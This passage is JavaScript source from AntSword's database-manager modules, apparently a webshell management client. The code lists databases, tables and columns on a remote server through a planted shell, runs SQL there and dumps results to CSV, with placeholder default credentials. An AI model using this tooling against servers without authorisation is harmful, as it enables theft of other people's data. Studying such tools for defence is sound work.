})) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']) return this .manager .list .layout .progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_)).toString('base64'); this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], encode: this.manager.opt.encode, db: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer .from(db) .toString('base64'); const _table = Buffer .from(table) .toString('base64'); // this .tree .deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_); const _column = Buffer .from(_.substr(0, _.lastIndexOf(' '))) .toString('base64'); this .tree .insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]); }); // SQL this .manager .query .editor .session .setValue(conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // SQL execSQL(sql) { this .manager .query .layout .progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this .manager .query .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .query .layout .progressOff(); }); } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); }); // console.log(_arr, arr); 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this .manager .result .layout .attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = CUSTOM; ```
/content/code_sandbox/source/modules/database/custom/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
5,868
```javascript // // ::JSPJS : Any // time: 2021/6/5 // by: yzddMr6 // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); const Decodes = antSword.Decodes; class JSPJS { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;' + 'databaseName=test;user=sa;password=123456', 'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser' + '\r\npassword' }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this .tree .attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql': sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'sqlserver': case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this .manager .query .editor .session .setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ encode: this.manager.opt.encode, conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ encode: this.manager.opt.encode, conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], encode: this.manager.opt.encode, db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' })) .then((res) => { let ret = res['text']; const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']) return this .manager .list .layout .progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_)).toString('base64'); this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], encode: this.manager.opt.encode, db: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer .from(db) .toString('base64'); const _table = Buffer .from(table) .toString('base64'); // this .tree .deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_); const _column = Buffer .from(_.substr(0, _.lastIndexOf(' '))) .toString('base64'); this .tree .insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]); }); // SQL this .manager .query .editor .session .setValue(conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // SQL execSQL(sql) { this .manager .query .layout .progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this .manager .query .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .query .layout .progressOff(); }); } parseResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i++) { let buff = Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" }); if (encoding == "unknown") { encoding = this.dbconf['encode'] || ''; } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text); } data_arr.push(_data); }); data_arr.pop(); return { headers: header_arr, datas: data_arr } } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i++) { let buff = new Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" }); if (encoding == "unknown") { encoding = this.dbconf['encode'] || ''; } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text, false); } data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this .manager .result .layout .attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = JSPJS; ```
/content/code_sandbox/source/modules/database/jspjs/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
6,313
```javascript // // ::PSWINDOWS : Any // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); const Decodes = antSword.Decodes; class PSWINDOWS { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'sqlserver_sqlclient': 'Server=127.0.0.1;Database=master;UID=sa;PWD=123456;', 'sqlserver_odbc': 'Driver={SQL Server};Server=127.0.0.1;Database=master;UID=sa;PWD=123456;', 'mysql_odbc': 'Driver={MySql ODBC 8.0 Unicode Driver};Server=localhost;Database=information_schema;Port=3306;UID=root;PWD=123456;', }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this.tree.attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql_odbc': sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'sqlserver_odbc': case 'sqlserver_sqlclient': sql = `SELECT TOP 20 [${column}] FROM [${db}].dbo.[${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: this.conns[Object.keys(this.conns)[0]], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); 